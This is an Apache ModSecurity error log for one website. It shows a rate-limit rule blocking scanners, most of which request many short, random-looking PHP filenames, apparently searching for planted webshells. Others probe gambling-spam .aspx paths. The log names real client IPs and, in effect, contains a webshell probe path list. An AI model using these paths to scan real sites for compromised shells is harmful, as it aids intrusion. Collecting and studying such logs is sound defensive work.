[Mon Mar 02 00:16:33.069906 2026] [:error] [pid 40750:tid 40768] [client 4.204.200.32:30055] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "aaRmYQfBuk03yQKDyqu8dQAAAc8"]
[Mon Mar 02 00:16:34.591621 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:64118] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aaRmYvKRPk6YnJBxw_xnQAAAAM4"]
[Mon Mar 02 00:16:35.735160 2026] [:error] [pid 40750:tid 40766] [client 4.204.200.32:64071] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aaRmYwfBuk03yQKDyqu8gQAAAc0"]
[Mon Mar 02 00:16:43.304850 2026] [:error] [pid 7165:tid 7184] [client 4.204.200.32:30054] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aaRmaxRjCrA8qWBjgG_l0AAAAlE"]
[Mon Mar 02 00:16:44.250585 2026] [:error] [pid 37032:tid 37037] [client 4.204.200.32:30067] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aaRmbOu0U4o7eSImsVSaiQAAAYM"]
[Mon Mar 02 00:16:45.677521 2026] [:error] [pid 33822:tid 33847] [client 4.204.200.32:30284] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaRmbW6W3ygu1YVssuZOXwAAApc"]
[Mon Mar 02 00:16:46.592379 2026] [:error] [pid 7165:tid 7188] [client 4.204.200.32:30335] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaRmbhRjCrA8qWBjgG_l3wAAAlU"]
[Mon Mar 02 00:16:50.272917 2026] [:error] [pid 41342:tid 41360] [client 4.204.200.32:64069] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaRmco4iJ6RAS5CatDlrnQAAAg8"]
[Mon Mar 02 00:16:53.030802 2026] [:error] [pid 7165:tid 7177] [client 4.204.200.32:30392] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaRmdRRjCrA8qWBjgG_l6QAAAko"]
[Mon Mar 02 00:16:54.962969 2026] [:error] [pid 40750:tid 40772] [client 4.204.200.32:30159] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaRmdgfBuk03yQKDyqu8rQAAAdM"]
[Mon Mar 02 00:16:56.316847 2026] [:error] [pid 38241:tid 38268] [client 4.204.200.32:52607] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaRmePKRPk6YnJBxw_xnaAAAANg"]
[Mon Mar 02 00:16:57.724559 2026] [:error] [pid 44644:tid 44652] [client 4.204.200.32:52606] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaRmeZ3RJaXMcw3y9V_xMgAAAAU"]
[Mon Mar 02 00:17:06.630401 2026] [:error] [pid 40750:tid 40767] [client 4.204.200.32:52604] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaRmggfBuk03yQKDyqu8wQAAAc4"]
[Mon Mar 02 00:17:09.554731 2026] [:error] [pid 33822:tid 33826] [client 4.204.200.32:30045] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaRmhW6W3ygu1YVssuZOgQAAAoI"]
[Mon Mar 02 00:17:10.341327 2026] [:error] [pid 7133:tid 7150] [client 4.204.200.32:30032] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaRmhvCtubh8pR64qB-HQQAAAE8"]
[Mon Mar 02 00:18:05.761500 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:52566] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aaRmvfKRPk6YnJBxw_xn3wAAAMA"]
[Mon Mar 02 00:18:06.918543 2026] [:error] [pid 7165:tid 7186] [client 4.204.200.32:30286] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aaRmvhRjCrA8qWBjgG_nUQAAAlM"]
[Mon Mar 02 00:18:10.431253 2026] [:error] [pid 7133:tid 7135] [client 4.204.200.32:52547] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aaRmwvCtubh8pR64qB-HsQAAAEA"]
[Mon Mar 02 00:18:14.373270 2026] [:error] [pid 37032:tid 37046] [client 4.204.200.32:30312] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aaRmxuu0U4o7eSImsVSaswAAAYw"]
[Mon Mar 02 00:18:16.355544 2026] [:error] [pid 7165:tid 7168] [client 4.204.200.32:30022] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaRmyBRjCrA8qWBjgG_neAAAAkE"]
[Mon Mar 02 00:18:19.056787 2026] [:error] [pid 7165:tid 7178] [client 4.204.200.32:64073] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaRmyxRjCrA8qWBjgG_nfQAAAks"]
[Mon Mar 02 00:18:20.588723 2026] [:error] [pid 40750:tid 40777] [client 4.204.200.32:64081] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaRmzAfBuk03yQKDyqu97gAAAdg"]
[Mon Mar 02 00:18:23.655711 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:30326] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaRmz_KRPk6YnJBxw_xn8AAAAMg"]
[Mon Mar 02 00:18:25.916450 2026] [:error] [pid 7165:tid 7167] [client 4.204.200.32:30047] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "aaRm0RRjCrA8qWBjgG_niwAAAkA"]
[Mon Mar 02 00:18:28.605308 2026] [:error] [pid 40750:tid 40764] [client 4.204.200.32:30029] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "aaRm1AfBuk03yQKDyqu-FgAAAcs"]
[Mon Mar 02 00:18:29.869352 2026] [:error] [pid 41780:tid 41805] [client 4.204.200.32:30307] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "aaRm1cONkVoocLIqzy07xwAAA9Y"]
[Mon Mar 02 00:18:31.125850 2026] [:error] [pid 7133:tid 7136] [client 4.204.200.32:52554] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gec.php"] [unique_id "aaRm1_Ctubh8pR64qB-HxgAAAEE"]
[Mon Mar 02 00:18:32.705698 2026] [:error] [pid 37032:tid 37045] [client 4.204.200.32:30360] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sxdfrt.php"] [unique_id "aaRm2Ou0U4o7eSImsVSavAAAAYs"]
[Mon Mar 02 00:18:34.840035 2026] [:error] [pid 7165:tid 7178] [client 4.204.200.32:30051] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sxdfrt.php"] [unique_id "aaRm2hRjCrA8qWBjgG_nrQAAAks"]
[Mon Mar 02 00:18:35.451951 2026] [:error] [pid 7133:tid 7144] [client 4.204.200.32:30384] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sxdfrt.php"] [unique_id "aaRm2_Ctubh8pR64qB-HzAAAAEk"]
[Mon Mar 02 00:18:36.841025 2026] [:error] [pid 33822:tid 33826] [client 4.204.200.32:30375] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sxdfrt.php"] [unique_id "aaRm3G6W3ygu1YVssuZO6wAAAoI"]
[Mon Mar 02 00:18:38.379550 2026] [:error] [pid 44644:tid 44649] [client 4.204.200.32:30020] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaRm3p3RJaXMcw3y9V_xVwAAAAI"]
[Mon Mar 02 00:18:40.617552 2026] [:error] [pid 7165:tid 7187] [client 4.204.200.32:52562] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaRm4BRjCrA8qWBjgG_nuwAAAlQ"]
[Mon Mar 02 00:18:43.341442 2026] [:error] [pid 40750:tid 40768] [client 4.204.200.32:30071] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaRm4wfBuk03yQKDyqu-MgAAAc8"]
[Mon Mar 02 00:18:44.008773 2026] [:error] [pid 37032:tid 37040] [client 4.204.200.32:52549] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaRm5Ou0U4o7eSImsVSavwAAAYY"]
[Mon Mar 02 00:18:46.880202 2026] [:error] [pid 7165:tid 7171] [client 4.204.200.32:30370] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aaRm5hRjCrA8qWBjgG_nyQAAAkQ"]
[Mon Mar 02 00:18:49.417924 2026] [:error] [pid 7133:tid 7149] [client 4.204.200.32:29835] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aaRm6fCtubh8pR64qB-H3QAAAE4"]
[Mon Mar 02 00:18:55.027573 2026] [:error] [pid 40750:tid 40776] [client 4.204.200.32:52593] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aaRm7wfBuk03yQKDyqu-UwAAAdc"]
[Mon Mar 02 00:18:55.576295 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:64083] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aaRm7_KRPk6YnJBxw_xoDwAAANM"]
[Mon Mar 02 00:18:57.123082 2026] [:error] [pid 33822:tid 33836] [client 4.204.200.32:30357] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaRm8W6W3ygu1YVssuZO-QAAAow"]
[Mon Mar 02 00:18:58.030742 2026] [:error] [pid 7133:tid 7149] [client 4.204.200.32:30050] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaRm8vCtubh8pR64qB-H6gAAAE4"]
[Mon Mar 02 00:18:58.919264 2026] [:error] [pid 7133:tid 7150] [client 4.204.200.32:30397] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaRm8vCtubh8pR64qB-H6wAAAE8"]
[Mon Mar 02 00:27:08.440806 2026] [:error] [pid 53585:tid 53597] [client 81.167.26.57:30474] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aaRo3HbCvYsvu6kKhM1MeQAAAAk"]
[Mon Mar 02 00:27:13.478412 2026] [:error] [pid 53585:tid 53608] [client 81.167.26.57:23934] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aaRo4XbCvYsvu6kKhM1MnQAAABQ"]
[Mon Mar 02 01:03:30.710052 2026] [:error] [pid 53180:tid 53447] [client 79.137.65.139:42062] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aaRxYjPPJpDOBvYnaa1HhgAAAYM"]
[Mon Mar 02 01:03:33.098638 2026] [:error] [pid 53585:tid 53612] [client 79.137.65.139:50374] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aaRxZXbCvYsvu6kKhM19IgAAABg"]
[Mon Mar 02 01:03:35.559437 2026] [:error] [pid 53180:tid 53460] [client 79.137.65.139:50388] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aaRxZzPPJpDOBvYnaa1HjwAAAZA"]
[Mon Mar 02 01:03:38.054006 2026] [:error] [pid 26940:tid 26965] [client 79.137.65.139:50392] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aaRxahrUg-j5GLDtRFl7aAAAAFU"]
[Mon Mar 02 01:03:40.519997 2026] [:error] [pid 53585:tid 53609] [client 79.137.65.139:40406] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aaRxbHbCvYsvu6kKhM19TQAAABU"]
[Mon Mar 02 01:03:42.892801 2026] [:error] [pid 53180:tid 53457] [client 79.137.65.139:40416] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaRxbjPPJpDOBvYnaa1HmwAAAY0"]
[Mon Mar 02 01:03:45.294032 2026] [:error] [pid 53182:tid 53560] [client 79.137.65.139:40420] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaRxcfv073cA6eM1YCS2rQAAANA"]
[Mon Mar 02 01:03:47.787350 2026] [:error] [pid 53182:tid 53557] [client 79.137.65.139:40424] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaRxc_v073cA6eM1YCS2zAAAAM0"]
[Mon Mar 02 01:03:50.378670 2026] [:error] [pid 26940:tid 26947] [client 79.137.65.139:40534] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaRxdhrUg-j5GLDtRFl71AAAAEM"]
[Mon Mar 02 01:03:52.873217 2026] [:error] [pid 53182:tid 53557] [client 79.137.65.139:40548] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaRxePv073cA6eM1YCS24QAAAM0"]
[Mon Mar 02 01:03:55.463248 2026] [:error] [pid 53182:tid 53563] [client 79.137.65.139:40562] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaRxe_v073cA6eM1YCS26wAAANM"]
[Mon Mar 02 01:03:57.994100 2026] [:error] [pid 53585:tid 53605] [client 79.137.65.139:40568] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaRxfXbCvYsvu6kKhM19dwAAABE"]
